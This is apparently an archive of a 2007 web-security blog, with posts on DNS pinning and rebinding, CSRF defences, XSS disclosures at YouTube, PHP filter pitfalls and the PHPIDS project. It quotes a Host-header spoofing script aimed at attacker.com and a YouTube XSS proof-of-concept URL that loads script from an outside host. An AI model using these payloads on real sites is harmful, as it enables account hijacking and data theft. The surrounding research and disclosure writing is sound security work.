christian's weblog

The Web Application Hacker's Handbook

2007-10-24T16:14:00.000+02:00

For those who haven't seen it yet, Dafydd Stuttard and Marcus Pinto released a new book last monday, entitled The Web Application Hacker's Handbook. Before I could even think about ordering a copy, Dafydd was so kind as to offer me one for free in exchange for a review. Be sure you'll get it Dafydd and thanks again!

The TOC looks already highly promising.

One more reason why CSRF sucks hard

2007-09-26T10:19:00.000+02:00

Usually, when I try to explain Cross Site Scripting to some who isn't familiar with it, I end up justifying why XSS is really and issue and could, depending on the kind of application or website, cause a lot of damage.

This gets even more difficult if you try to explain the dangers of CSRF in a way, that sounds reasonable to an uninformed audience. Now it'll probably be a good idea to come up with some examples in such a situation, like the one that pdp has recently presented. The ability for an attacker to hijack someone elses gmail account only due to a simple CSRF vulnerability should make perfectly clear, why CSRF must never be underestimated.

One of many good examples worth to quote on this matter.

DNS Pinning Explained

2007-07-01T14:33:00.000+02:00

I have been asked recently by Ronald Koh and some other guys to make a writeup on DNS Pinning, aka. circumventing the same origin policy with Anti DNS Pinning. Although this is nothing really new and some explanations of this do in fact already exist, I think it is a good idea to talk about it once again though for mainly two reasons.

Firstly, this theme is known for it's rather high complexity and only a very limited number of individuals actually understand what is behind it. Therefore bringing peoples attention on it would surely not be amiss.

Secondly, there is no bullet proof solution to protect against this and the more people understand what it is about, the higher are the chances that we'll come to a solution somewhen in future. Four eyes are likely to see better than two, so lets start.

The same origin policy is an access restriction implemented in most modern browsers that prevents a script loaded from one origin to access documents from a different origin in any kind. Hence, it is neither possible to set nor get information from that foreign origin. However, since the time this security measure has firstly been initiated by I believe Netscape, security researchers have spent a significant amount of time to find ways to bypass this restriction. One of the results finally was Anti DNS Pinning and later on Anti-Anti-Anti DNS Pinning, both exploiting another security mechanism of modern browsers called DNS Pinning.

Now it may sound reasonable to start explaining what DNS Pinning actually is, fortunately this turns out pretty easy with a bit of background information on the Domain Name System (DNS). When someone requests a Web site such as www.example.com, the browser needs to perform a DNS lookup on that domain to get the associated numerical address (IP) of the server that hosts the Web site in question. In the next step, the browser sends a query to that IP that moreover contains the domain, a specific Web page and other variables to be able to ultimately retrieve the requested data.

So lets assume the DNS lookup on www.example.com provided the IP 111.111.111.111. A normal HTTP request sent by the browser to www.example.com may look like this:

GET / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: secret authentication token 12345

This is where DNS Pinning comes into play. As a protection attempt against Anti DNS Pinning, the browser caches the hostname-to-IP address pair until the browser window gets closed, regardless of what the actual DNS time to live (TTL) is set for. I have visualized a scenario that DNS Pinning protects against below. In this example an attacker runs www.attacker.com pointing to IP address 222.222.222.222.

Moreover he has full access to the DNS server entry, which is set to a TTL (DNS timeout) of 1 second. When viewing his Web site in a browser, malicious JavaScript will be executed that tells the browser to connect back it's current location in 2 seconds and then pull the returned data to a different server the attacker controls.

1) The users browser connects to www.attacker.com and performs a DNS lookup for that URL receiving 222.222.222.222 with a TTL of 1 second.

2) JavaScript tells the browser to connect back to www.attacker.com after two seconds, shortly after the TTL expired.

3) Since the DNS is not longer valid, the user's browser connects to the DNS server to ask where www.attacker.com is now located.

4) The DNS server responds with 111.111.111.111, which points to www.example.com

5) The user's browser connects to 111.111.111.111 sending a header like:

GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Now what is important to notice here is that the host has been changed to www.attacker.com instead of www.example.com and furthermore the cookie is missing. Due to the cached hostname-to-IP pair, DNS Pinning prevents the second lookup of www.attacker.com which is why this attack was doomed to fail from the very beginning.

Anti DNS Pinning
As already mentioned earlier, Anti DNS Pinning is what DNS Pinning was meant to protect against - forcing the browser to request a manipulated DNS entry again e.g. by making him believe that his cache expired.

Well, on August 14, 2006, Martin Johns came up with a concept of how this can be done. He essentially discovered that DNS Pinning only works on condition that the Web server in question is actually online and available. On the one hand this makes sense because if the server appears to be down, a new DNS lookup is necessary to find out whether it has changed or moved in some way. However on the other hand an attacker can shut down his server whenever he wants to and thereby circumvent the user's browser's DNS Pinning. Again, I have visualized this attack:

1) The users browser connects to www.attacker.com and performs a DNS lookup for that URL receiving 222.222.222.222 with a TTL of 1 second.

2) JavaScript tells the browser to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Afther that the server is told to firewall itself.

3) Now DNS Pinning is dropped due to Anti DNS Pinning. Since the DNS is not longer valid, the user's browser connects to the DNS server to ask where www.attacker.com is now located.

4) The DNS server responds with 111.111.111.111, which points to www.example.com

5) The user's browser connects to 111.111.111.111 sending a header like:

GET / HTTP/1.1
Host: www.attacker.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Since the IP changed now, the attackers XMLHttpRequest is reading a different Website (www.example.com), even though the browser believes it is still the same. So now you may understand why I introduced this article with explaining what the same origin policy is. We are able to break it using Anti DNS Pinning.

Anyway, again there are a few things to notice. Firstly, the host is still changed to www.attacker.com instead of www.example.com, plus there is no cookie data sent in the header. Taking this into account one may wonder why anyone would do Anti DNS Pinning instead of requesting www.example.com on foot.

Well, in fact Anti DNS Pinning isn't doing the attacker any good unless we are talking about an intranet or otherwise IP restricted websites, which the attacker could usually not connect to himself because the site is just inaccessable to the public. This is where Anti DNS Pinning becomes really dangerous. Instead of targeting www.example.com, we could possibly launch an attack against intranet.example.com, which was actually considered to be secury since it is hosted behind a corporate firewall.

Not only we can read data from those protected pages but also use the so gained information to launch CSRF attacks against intranet applications. Pretty bad.

Kanatako provided a well working example of this on his Website. I recommend to check this out: http://www.jumperz.net/index.php?i=2&a=1&b=7

Additionally he describes on sla.ckers.org how his script works in detail. If you read it carefully, you will see that it is exactly what you have just learned while reading.

Anti Anti DNS Pinning
The name already suggests what this technique is about. Some people starting thinking about how Anti DNS Pinning could be prevented and ended up with checking for the correct the Host header. Remember that this has always been changed to www.attacker.com and so indicates an attack.

Certainly not because it is always www.attacker.com but simply because the Host header differs from the one(s) that has been allowed by the server administrator.

Anti Anti Anti DNS Pinning
Unfortunately this header can easily be spoofed in more than one way so that the previously described technique doesn't turn out to be very effective. Amit Klein published a posting to Bugtraq where he showed how to spoof the Host in MSIE using XMLHttpRequest or Flash.

<*script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open(
"GET\thttp://attacker.com/\tHTTP/1.0\r\nHost:\twww.example.com
\r\n\r\n,
"http://www.attacker.com/",
false
);

x.send();
alert(x.responseText);
<*/script>

I hope that this article could help you to get a better understanding of DNS Pinning and it's mutations. However if you think that this is just a theoretical construct, you're still very much mistaken. Check out RSnakes stories, especially Death By 1000 Cutts.

Good stuff!

Interview with Edward Z. Yang

2007-06-28T19:40:00.000+02:00

In case you haven't known this before, Edward Z. Yang is the man behind HTML Purifier, which is a highly effective whitelist filter to prevent Cross Site Scripting. I recommend to remember his name by the way.

A couple of days ago I thought it would be a good idea to interview him about his product in order to promote it, pretty funny that Chris Shiflett apparently had the same idea.

Thanks to Edward for answering my questions. I hope you enjoy it as much as I did.

1) Could you tell my readers a few words about yourself?
Hi, my name is Edward Z. Yang, and I am responsible for bringing HTML Purifier into this world. As a PHP programmer, you'll also find me helping other people with their questions at DevNetwork forums and contributing to PHP's documentation.

2) What is HTML Purifier and whats so special about it?
HTML Purifier is a standards-compliant HTML filter. What makes it special is the keyword "standards-compliant"; HTML Purifier operates off of the principle that if you implement the HTML spec, you can create a foolproof filter. HTML Purifier knows everything there is to know about HTML: valid attributes, content models, CSS, chameleon tags, etc. Plus, it attempts to fix poorly written HTML, rather than emit cryptic error messages.

3) What is technically required to use it?
HTML Purifier is written in PHP and has been tested with PHP 4.3.2 or higher. I have, however, had individuals contact me about interfacing with the library from other programming languages: while no port of HTML Purifier currently exists (last I heard, someone was attempting a Java port, but I am not sure if it ever came to fruition), it is not difficult to create a wrapper command line script to call HTML Purifier with.

4) When did you start working on your product and what was your intention at that time?
The concept of HTML Purifier emerged the Spring of 2006. However, I had been toying around with the idea as far back as 2005; originally, I needed some way to filter HTML for a literature management system (now defunct). One class survived from that original body of code: MarkupLexer, which was essentially a token based HTML parser; everything else followed.

5) What kind of feedback did you receive after the first release?
The first public beta was released on August 16, 2006; the 1.0.0 release followed shortly after on September 1st. I vaguely remember the response being lukewarm: the original pitch went to members of DevNetwork forum who loved the library, but I didn't do very much publicity: I submitted a Digg story which got 7 diggs (2.0.0 didn't do much better, but I diversified and HTML Purifier was a hit over at DZone and del.icio.us)

6) Who does actually use the Purifier today?
The four projects I know of that use HTML Purifier by default are BitWeaver, PHProjekt, Lilina and TikiWiki (BitWeaver hasn't officially released the HTML Purifier enabled version yet). We also have extensions available for Drupal, Wordpress, and Modx. And then, of course, there are developers from all over the world (I've talked to French, Japanese, Chinese and German users of HTML Purifier) using HTML Purifier.

7) You have a comparison between HTML Purifier and similar filtering solutions on your website. Could you summarize the results?
In a nutshell, the comparison states that HTML Purifier is better than the rest. ::laughs:: Of course, no one would believe me if I said just that, so the document is pretty lengthy. Most of the filters use blacklists, which are fundamentally insecure, and I've also noticed that most of them don't seem to be actively maintained, which is a big no-no in combination with blacklists. None of them can offer standards-compliance, although SafeHTMLChecker comes close, and none of them offer standards-compliance and at the same time try to correct poorly written HTML.

8) You have recently released version 2.0.0 and 2.0.1. Could you describe the major improvements to previous versions?
HTML Purifier 2.0 adds the Tidy module (nothing to do with HTMLTidy, by the way) and Advanced API which effectively make HTML Purifier feature-complete with regards to HTML filtering. There's a little more work to be done with cleaning up MSWord HTML, but users have all the facilities they need to implement custom HTML tags and attributes. 2.0.1 is your average stability/maintenance release, but it also sneaks in a number of experimental features such as error reporting and auto-paragraphing.

9) What do you think about the present status of Web application security in general?
It's still far too easy to do the wrong thing. While helping out newbies at DevNetwork, this is quite evident: people will come in because their code doesn't work, and we'll end up also fixing SQL injections, XSS vectors, and poor coding in general. But things are getting better, there's more literature out there on security and general awareness of the issue has been rising.

10) Is there anything left you want to say?
For more information, you can check out the library at its website, or poke it at the demo.

Thanks!

Planet-Websecurity.org is launching

2007-06-27T12:24:00.000+02:00

Those of you who have spoken to me recently may already be aware of this project, but for those who don't, I am pleased to announce the launch of Planet Websecurity, founded with the intention to bring together similarly themed news and rants related to Web security and to display them in one place.

There isn't currently much on the site, except for the articles located in an archive which allows you to browse through previous entries as well as a search facility that may help you to find articles on topics you are particularly interested in.

Last but not least there is an RSS feed, subscribers to which are highly appreciated. If you would like to contribute to the planet, you're more than welcome to send me an e-mail or use the proposal form.

Ultimately I hope this site helps to keep track of what is going on in the business and last, but not least, many thanks to all contributors.

Google Says Thank You

2007-06-23T12:03:00.000+02:00

Some of you might have seen that there was something going on with 40+ security vulnerabilities on YouTube and an ultimatum issued by me. Well, that is correct. Now let me explain what happened.

A couple of months ago I discovered several security holes on YouTube, what I have already mentioned earlier on my blog. Apparently YouTube didn't respond to my reports and continued adding new features with new critical holes. The result after a few weeks was indeed around about 40 or even more XSS vulnerabilities on a Website acquired by Google with hundreds of thousands of users each day.

I've been in the security industry for quite some time now, long enough to be able to assess the possible consequences and the likelyness of a severe attack on such a site. Over time, especially Social Networking sites will definitely become a favored target for Web Worms that might even propagate on more than one site. What happened on MySpace back in 2005 was in fact just an idea of what could happen if we would be faced with an XSS based Warhol Worm. Yeah, Samy proved that this is not too far of base and I know that other security researchers agree with me on this matter.

So in case you are still wondering, I choosed the path of responsible disclosure instead of just releasing all vulnerabilities to the public because I don't want something like that to happen.

A few days after I issued the ultimatum, Google Security contacted me and we could successfully fix all known vulnerabilities. I have also talked with Hunter Walk who is Product Manager at YouTube and suggested him to set up a security response team at YouTube to make sure that issues like these are better routed in the future. He promised me to take care of that.

I appreciate this because I think that when a company has a well working security response team and credits reports appropriately, researchers will be way more motivated to report what they have found.

The Google Security Team is already doing that and publicly thanks me on http://www.google.com/corporate/security.html. Additionally they sent me a Google t-shirt, which is really cool ;)

I think they have learned their lesson from all the noise.

PHPIDS released

2007-06-10T19:10:00.000+02:00

We are proud to announce the first stable release of our earlier discussed PHP Intrusion Detection System or simply PHPIDS. As from now, you will find the project page including a demo, trac and moreover a forum on http://php-ids.org/.

At this point, I would like to thank everyone who helped to improve the quality of the IDS, notably RSnake for providing ha.ckers and sla.ckers.org, Ronald van den Heetkamp for his continuous assistance, Kishor for circumventing (and by that enhancing) our rules numerous times and of course Martin Hinks for porting PHPIDS to .NETIDS. Many thanks also to the webappsec mailinglist.

Feedback is still more than welcome, either by commenting on this post or via the google group.

For my german readers, here is Mario Heiderich's statement:
http://mario.heideri.ch/phpids-der-erste-offizielle-release/

Thanks everybody!

I've got my unique XSS book

2007-06-08T19:10:00.000+02:00

Thanks to Jeremiah Grossman from WhiteHat Security, I finally received a signed version of the new XSS book most of you might know. It took only three days from the USA to Germany and I'm looking forward to read it.

If you don't already have a copy I recommend to buy it.

Special thanks again go to Jeremiah, I owe you. Maybe we will meet some day.

They are not allowed to!

2007-05-31T15:18:00.000+02:00

Maybe some of you have read RSnakes blog item about these Google files that were discovered and open to the public some days ago. I don't want to talk about that issue now but let me quote one statement of RSnake:

"Google has a responsibility to be better about this than most people. Why? Because they have more market share. The cannot mess up. They don’t have the right to.

If some tiny mom and pop web-store has this issue it’s bad. If Google has it, it could affect hundreds of millions of people. Sorry, that’s just not allowed."

Exactly that is what I thought a lot of recently. Big sites accountability to it's users. I'm certainly not an anti Google zealot as RSnake is but this is worth a thought anyway.

Now lets go back to security. As a matter of fact, Googles whole security model is based on not finding a single XSS vulnerability. Their Single Sign On implementation can be fully compromised by only one insufficiently sanitized input field. Thats why those guys are so fast in fixing such vulns as soon as any are disclosed. So one may assume that they are aware of the great danger.

Back in October 2006, Google bought YouTube. Pretty much the biggest social networking site with millions of users every day. Everyone is allowed to upload videos, to build groups and to have a public viewable profile.

YouTube in fact enjoys a very good reputation from the open public, except of a few copyright issues that occur from time to time but that's actually of no real significance.

Another popular social networing site is MySpace. In October 2005, the latter was infected by the Samy Worm, which became the first major web worm based on XSS vulnerabilities for it's propagation. Samy altered over a million of MySpace user profiles in one single night.

Unlike other types of worms, these web worms propagate on condition that a user interacts with them. So if a user opens an infected page, the worm will propagate and infect another page. That means to more users the exploited platform has, the better the worm will work. It grows exponentially.

Given that, Social Networking sites seem to be the best target due to their high traffic.

Now what would you think would run through all kind if media if such a worm was released on YouTube and not only infected the users profiles but also steal their login credentials plus those that they use to login at Googles services? That is all trivial work for a well versed attacker.

Trust me I am not kidding, that could happen any day and surely will if YouTube developers don't change the way they treat security. While researching, I identified dozens of vulnerabilities. Due to the high amount, I neither counted them nor did I prepare PoC's but it was about 20 to 25 reflective and around 10 persistent XSS vulnerabilities. Additionally it appears that CSRF is a foreign word to them.

I informed them about it but actually I do not expect an answer. Apparently they didn't learn anything from Samy.

Anyway, if that happened one day, THEN we would have a real problem.

Complexity vs. Security

2007-05-31T01:53:00.000+02:00

Yesterday, Ronald van den Heetkamp wrote a blog entry entitled "Simplicity" in which he points out that in the long run applications can only stay secure if they keep a certain degree of simplicity because developers would otherwise loose sight the more the complexity of an application grows.

I think on that matter Ronald is perfectly right but now the remaining question is how code can be kept simple and secure in a Web 2.0 world where new technologies, ideas and features become public on a regulary basis. I do not think we can achieve security by simplicity in the sense of removing unnecessary technology. Thats what Ronald essentially means in the very beginning when he talks about application darwinism.

In my view that comparison is somehow flawed because as far as technology is concerned we will probably never experience a decline. It is rather the opposite.

So, I personally see the future for both simplicity and security only in frameworks. When using such, most software developers intention might be to have a well designed, well performing and well working application. However at the same time applications are likely to become much more secure since development frameworks we have today pay more and more attention on that.

For instance as a PHP developer working with the Zend Framework it becomes very easy and comfortable to prevent most common vulnerabilities such as Cross Site Scripting, SQL Injection or Remote File Inclusion.

Consider this as my two cents. I see Jeremiah Grossman having had the same thought back in 2006 and I would like to finish with his words:

When developers find that its WAY easier and WAY better to do RIGHT by security, then we'll get somewhere.

Fun with GMX Mail Service

2007-05-14T13:52:00.000+02:00

When I came back home today and looked through the news, I stumbled over an entry on heise security dealing with a security issue on GMX. I had a lot of fun reading it.

The posting essentially claimed that a severe security issue has been discovered which allowed access to anyones opened mailaccount if the session_id gets copied from the URL of one browser and pasted into a different.

Ehm, does that writer have a clue about what a session actually is? I guess not.

Anyway, as far as security is concerned, it is a bad idea to use GMX mail service though since there are dozens of XSS vulnerabilites on their sites. For example here, here or here.

So please, if you want to use free mail service, how about switching to gmail?

Holes in most strip_tags() filters

2007-05-05T18:46:00.000+02:00

This is actually nothing really new but it seems that there is a common misunderstanding of PHP's strip_tags() function.

A lot of developers rely on this function to protect their applications against Cross Site Scripting attacks. They especially like it because of it's second parameter allowable_tags, apparently without knowing what it actually does.

As even highlighted in the PHP manual, this function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

That means when using strip_tags() in combination with it's second parameter, which is often done to allow harmless appearing tags like <*i>, <*b>, <*a> and so forth, every kind of protection simply gets lost.

One can inject arbitrary Javascript code using the style attribute plus -moz-binding in Firefox and color:expression in Internet Explorer.

Therefore I recommend to use htmlspecialchars($var, ENT_QUOTES, $charset) only.

The real effectiveness of current WAF

2007-05-03T10:35:00.000+02:00

While thinking about the recently discussed PHP IDS and other similar Web application firewalls (WAF) like mod_security or mod_parmguard, it seemed to me that quite a lot of people aren't aware of how effective such solutions in fact are.

Basically I agree that diffrent layers of protection is always a good idea to get at least close to a status that can considered to be secure. That's why people even started thinking about WAF. Nevertheless these solutions are actually doomed to fail by design, or to phrase it more precisely they are simply not suitable for every underlying scripting language, e.g. Perl, Ruby, PHP - whatsoever.

The reason lies in the way they parse incoming HTTP requests. Although the latter might be conform to RFC defined standards, it is in fact different from the way HTTP parsers work in application / scripting languages. Because of these differences it's quite easy for an attacker to sniff malicious variables through a WAF like lets say mod_security. An example has been provided by Stefan Esser during the MOPB.

So unless a Web application firewall is implemented exclusively for a specific language, it is very likely to be insecure and therefore using them should be well considered.

PHP based Intrusion Detection System

2007-05-01T13:09:00.000+02:00

During the last few weeks a friend of mine and myself spent some time working on a PHP based Web application IDS, which essentially is designed to be an additional layer of protection for any website it is used on.

It's not officially published yet since we're still changing some parts but I'd like to hear other peoples opinion on this prior contributing it to PEAR, which is what we are intending to do in near future. You will find the project including a Subversion repository temporarily on http://code.google.com/p/phpids/

The detection system is pretty simple and based on a set of various upgradeable regular expressions that will be cross-checked against any variable passed to the systems main class, named IDS_Monitor. In addition we provide an easy extendable logging mechanism that allows storing detected results in files, sending them via email and things like that.

Here's an example of use:

<*?php

try {
$storage = new Filter_Storage();
$storage->getFilterFromXML('phpids/default_filter.xml');

$get = new IDS_Monitor($_GET, $storage);
$result = $get->run();

// display results
print_r($result);

//Or store the data using IDS_Log_Composite and
// Log_File
require_once('phpids/log/log_file.php');
require_once('phpids/log/log_composite.php');

$compositeLog = new IDS_Log_Composite();
$compositeLog->addLogger(
Log_File::getInstance('results.txt')
);

if (!empty($result)) {
$compositeLog->execute($result);
}

} catch (Exception $e) {
printf(
'An error occured: %s',
$e->getMessage()
);
}

?*>

Obviously the effectiveness of the IDS is dependent on the quality of patterns that are used, therefore the system is supplied with a bunch of default patterns, mainly written by .mario who is one of the versed people dealing with filtering I've ever met. Moreover to mention is Ronald (better known as Jungsonn), who also shared his thoughts and expertise. Thank you.

So I think very most XSS and SQL injection vectors (being trivial or advanced) should be covered.

Are there any comments or suggestions?

A little something from heise online

2007-04-27T15:02:00.000+02:00

A couple of days ago I came across an SQL injection vulnerability on heise online and due to the severity of this issue I decided to inform them about it immediately, what I probably wouldn't have done if it had been some kind of cross site scripting only.

Anyway, the reason I write this posting is because I'm pretty much taken with the kind of response I got. They fixed the issue and additionally sent me a letter saying thank you for the warning.

Extremely kind, thanks to Michael Wilde.

Adobe UXSS already buried in oblivion?

2007-04-21T23:56:00.000+02:00

Universal XSS vulnerabilites truly belong to the worst weak points, since they appear unforeseeable and tend to affect a large number of applications. Given that there's no way to protect against them in advance, which makes it even more important to take action as soon as they are discovered.

This is approximately what happend in the very beginning of 2007 when Stefano Di Paola disclosed the Adboe PDF issue at 23C3. Due to this vulnerability was possible to perform XSS attacks against any website having PDF files, therefore many sites such as Google implemented a function that forced the user to download these files instead of opening them directly in the browser.

Well, finally Adobe released a patch that fixed this vulnerability, which however has never changed the fact that the majority of users most probably still runs vulnerable versions.

So why do people keep on storing directly accessible PDF files on their servers? I still find them everywhere while doing audits or simply browsing through the web.

To finish with pdp's words: danger, danger, danger

Application insecurity graphed

2007-04-19T15:57:00.001+02:00

Today I ran across Ed Finklers weblog where he visualised the top 20 insecure PHP applications, referring to NIST NDV data. Pretty interesting, although I've always assumend that Wordpress would head such a table.

Ed is intending to keep the stats up-to-date, I really appreciate that.

YouTube is still vulnerable

2007-04-11T02:49:00.000+02:00

When Jungsonn once wrote about the YouTube XSS I discovered a week or so ago, a short discussion came up on whether web developer as such from YouTube worked sloppy or not.

Actually I would assume that for being allowed to modify content on that site, the developer(s) need to be qualified. Otherwise YouTube or Google wouldn't have employed them, right? No, obviously wrong.

Well, let me inform you about the background on this in case you haven't seen it yet. YouTube decided to add new features, which they then announced on their blog. Unfortunately those features were vulnerable to cross site scripting attacks, which got me thinking. How comes that such a major company releases completely untested features? Don't they know or don't they care? Well, lets imagine they made a mistake because multiple dev teams just couldn't manage to work properly together.

After a week they finally fixed that particular vulnerabilty but they failed on another one on exactly the same site and the same form. Meanwhile, that one has been fixed too, since I informed them about it.

Anyway, that got me thinking again. You don't need more than one single developer to validate an incoming URL parameter. If I had been that developer I'd probably have had a look on those remaining two or three inputs too, instead of instantly closing the window after having fixed the first issue.

I don't think this is a mistake anymore, it's sloppy work and nothing else.

Preventing CSRF efficiently

2007-04-07T22:03:00.000+02:00

Yet another blog posting about cross site request forgeries and how to prevent them, however this time slightly different and not only dealing with approaches that have already been discussed numerous times and are likely to fail under certain well known circumstances. It's actually difficult to start on this but I'm prepared with a cup of coffee.

If you aren't familar with terms such as CSRF or session riding yet, please use Google or have a look on the CSRF FAQ, since I will skip that part.

During the last moths there has been a great deal of discussion on how to prevent cross site request forgeries and as far as I know, all of them ended confusingly and moreover imperfectly. Uninformed readers may get the impression that it's impossible to protect webapplications or - to phrase it more precisely - users, which however is not true at all. There are in fact various solutions which do work efficiently.

To provide you with a broader understanding on this matter, let's first of all talk about solutions that do not work or only to a limited degree. A lot of people suggest to use hard to guess unique tokens, embedded somewhere in the HTML source or the URL to make sure that the request is valid and intended by the user. I have to admit that this appears to be a working method but actually it isn't if you consider attack techniques that break the same-origin policy, such as cross domain Ajax due to the MHTML bug in Internet Explorer. Thus a versed attacker would gain the secret token and then trigger an authentic looking request to achieve his aim.

Next thing often recommended is checking the referer, which is insecure since referers can easily be spoofed in various ways (or simply not sent) but the reason I mention this is because you can implement this as an additional layer of security and refuse referers that are unexpected. So if implemented correctly it's a good idea to check referers.

For the sake of completeness I should probably add that using POST instead of GET is not a suitable solution at all but if you haven't realized that by yourself you should consider restarting at the very beginning.

Now as I said earlier, there are in fact ways to prevent CSRF efficiently on condition that they are implemented correctly. There is one technique that actually made me write this article and a few others which unfortunately are not liked by many people because they become lazy. One of the latter is CAPTCHA as a second factor credential, another similar approach is forcing the user to re-enter his password or thirdly sending a verification email / SMS.

Apparently those procedures are not liked by some people because they are inconveniently and decrease the usability. One the one hand that is right, at least up to a point, but on the other hand one can not equate usability with security. If you want a secure system you will sooner or later need to lower your sights somewhere else.

Of course everyone including me wants to hold those cut backs as low as possible and therefore I thought about one last approach, which can in my judgement considered to be secure. If anyone does not agree, you are more than welcome to leave a comment.

The idea is to use a session id based token which however can not be achieved neither by the MHTML bug nor any other kind of cross domain Ajax. To implement this correctly, lets just for a second reflect on the purpose of the MHTML story again. An attacker makes the victim send a request to the site in question where the victim will be authenticated due to a valid cookie. Since the attacker has full read access to that site, he is now able to grab the token and go on with his work.

The main weakness of all those former token based solutions is that they only protect security relevant tasks. If such a token was needed on any site and for any request inside the private area, there would be no way to grab a token without having it first. Got that?

The token would be generated in response to a successful authentication and then be added on each URL. I suggest to use the first five to six characters of the md5 encrypted session id in combination with a random keyword, which then will be cross checked on each request.

Unfortunately developers could fall into several traps while implementing this. Make sure that the token variable is added on every request, otherwise the system will be vulnerable. The same of course applies to XSS or redirection vulnerabilities, however these things remain in the hands of the developer and therefore are not calculable and can be under control.

So now it should be clear that it's not impossible to prevent CSRF but it requires to work accurately.

YouTube has added some features

2007-04-05T17:16:00.000+02:00

As some of you might already have seen, YouTube added some highly interesting features last week. Unfortunately they forgot to mention the new key feature, so let me present it.

Well, enough of sarcasm. Take a look at Jungsonns blog, he has already written about what I discovered. An XSS vulnerability in one of YouTube's new sites.

Note that you need to be logged in for this expoit to work, anyway - here is the PoC:
http://www.youtube.com/groups_create?field_command=create_
group_submit&group_name=&tags=%22%3E%3Cscript/src=
http://h4k.in/j.js%3E&description=&short_name

However that's not the end. I have found two more vulnerabilities and I'm going to disclose them right here and right now.

#1 - PoC; #2 - PoC

Holes in most preg_match() filters

2007-04-04T16:26:00.000+02:00

Since I'm a PHP programmer, I would like to point you on what Stefan Esser wrote this morning about preg_match() and common misunderstandings of regular expressions.

He states that a lot of people would have an incorrect understanding of the meta character '$' and what it actually does.

Well, usually this character is used to assert the end of a subject, which is mostly correct however what Stefan Esser points out is that without the modifier D, a string with a newline ('\n') at the end will match the regex and pass the filter as well.

Now without thinking twice about it, one may assume that a newline character passing the filter can not be that dangerous. While this might be true in a lot of cases, it's plain wrong if you want to prevent for example Http Response Splitting or Email Injection attacks.

Therefore I recommend to read the manual once again, before starting projects where regex could break your neck.

Digg, Delicious, Netscape & Technorati Hacked

2007-04-01T00:20:00.000+02:00

Just found it, thought I'd have to point you on this in case you haven't seen it yet:

http://mybeni.rootzilla.de/

Obviously Beni put 1 and 2 together. Well done.

Offline for ... some time

2007-03-10T21:07:00.000+01:00

Next week I won't have access to my notebook, which means no internet, no e-mail. Actually I started wondering two weeks ago how much I would miss and how many e-mails, postings and whatsoever I'd have to read afterwards.

A few minutes ago I found this video and realized that it can't be that much...

Check this out: http://www.youtube.com/watch?v=DUNIzsntFsU

Whats on your bookshelf?

2007-03-10T15:19:00.000+01:00

After some weeks without any blogging, I finally thought it could be interesting to talk about books. But first of all for those who are wondering just a few words about this language mix-up: As from now I'm going to write everything in english that could be at least somehow interesting for english readers, particularly in regard to security or PHP related topics. I apologize for any mistakes as this is not my mother language.

So here is what I am reading. The quality isn't that good since it was taken with my cell phone.

What do we have?

1 - PHP 5 & MySQL 4.1 by Sven Letzel, Friedhelm Betz
I actually bought this book several years ago, the time I started with programming web applications. It covers all the basic aspects of PHP programming with MySQL but isn't that well written. I guess there exist much better books. Finally I do not recommend this one.

2 - Professionelle PHP 5 - Programmierung by Georg Schlossnagle
There is no doubt that Georg Schlossnagle is a very experienced developer and this book turns out accordingly. From the very beginning the reader can see clearly that Georg knows what he is talking about. The book is divided into five main chapters with a lot of subchapters. The author introduces with no more then 250 excellently written pages, dealing with in-depth basics of good programming. You may already guess that this introduction is not as superficial as in other books - a must-read and so are the following chapters: Georg continues with caching, interactions with databases, one chapter about various security related topics and performance. Finally he rounds off with extending the PHP core.

Friends of mine who read the original english written edition told me the latter was much better to read however except of many spelling mistakes I think this one is fine too and a good reference book.

3 - PHP 5 für Fortgeschrittene by Harry Fuecks
This is one of my favorites and it's based on an originally english written edition as well as Georg Schlossnagle's, which I bought previously by the way.

Actually this book appears to be difficult to discribe as it covers all the basic aspects of PHP 5 like a good explanation of OOP but seems to be much more practical oriented. Fuecks gives a lot of examples on how to work properly with xdebug, PEAR, streams, user authentication, cache, XML and of course web services but unfortunately I remember a lot of XSS flaws. So for those who think to have some gap's in their knowledge, this is the book you are looking for.

4 - Enterprise PHP Tools by Stefan Priebsch
Definitely a must-read for everyone who claims himself a serious PHP programmer. The title already gives a slight impression on what this is about and the very first sentence literally says that this was not about PHP - programming. So what is it about? It's all about essential tools any PHP developer should use if he wants to make his daily work easier. Priebsch explains in an almost unimproveable way what xdebug, subversion, phpUnit, PHPDocumentor, Phing and VMware actually are and why they do help to work efficiently. Awesome work!

5 - PHP Design Patterns by Stephan Schmidt
Yet another book about PHP, published in the end of 2006. It's is about design pattern and actually the first german book covering this highly interesting theme. Since PHP 5 comes up with a way better OOP model it appears to me that design patterns become more and more popular, which in fact is very good news and people like Stephan Schmidt help to improve the overall quality of PHP code.

The author points out perfectly how important a good application design is and what the benefits of patterns are. The most common ones are explained on a lot websites, you will also find some on php.net but here you'll not only run across some explanations but get a whole discussion on each pattern mentioned. The author follows a step by step routine, which makes it easy to understand the current problem.

6 - PHP - Sicherheit by Christopher Kunz & Peter Prochaska
This book is definitely a must-read, not only because it is written extremely well but also because a solid knowledge of security is a necessary prerequisite to write professional web - not only PHP - applications. It covers everything needed to write secure PHP code and as well some basics about information security.

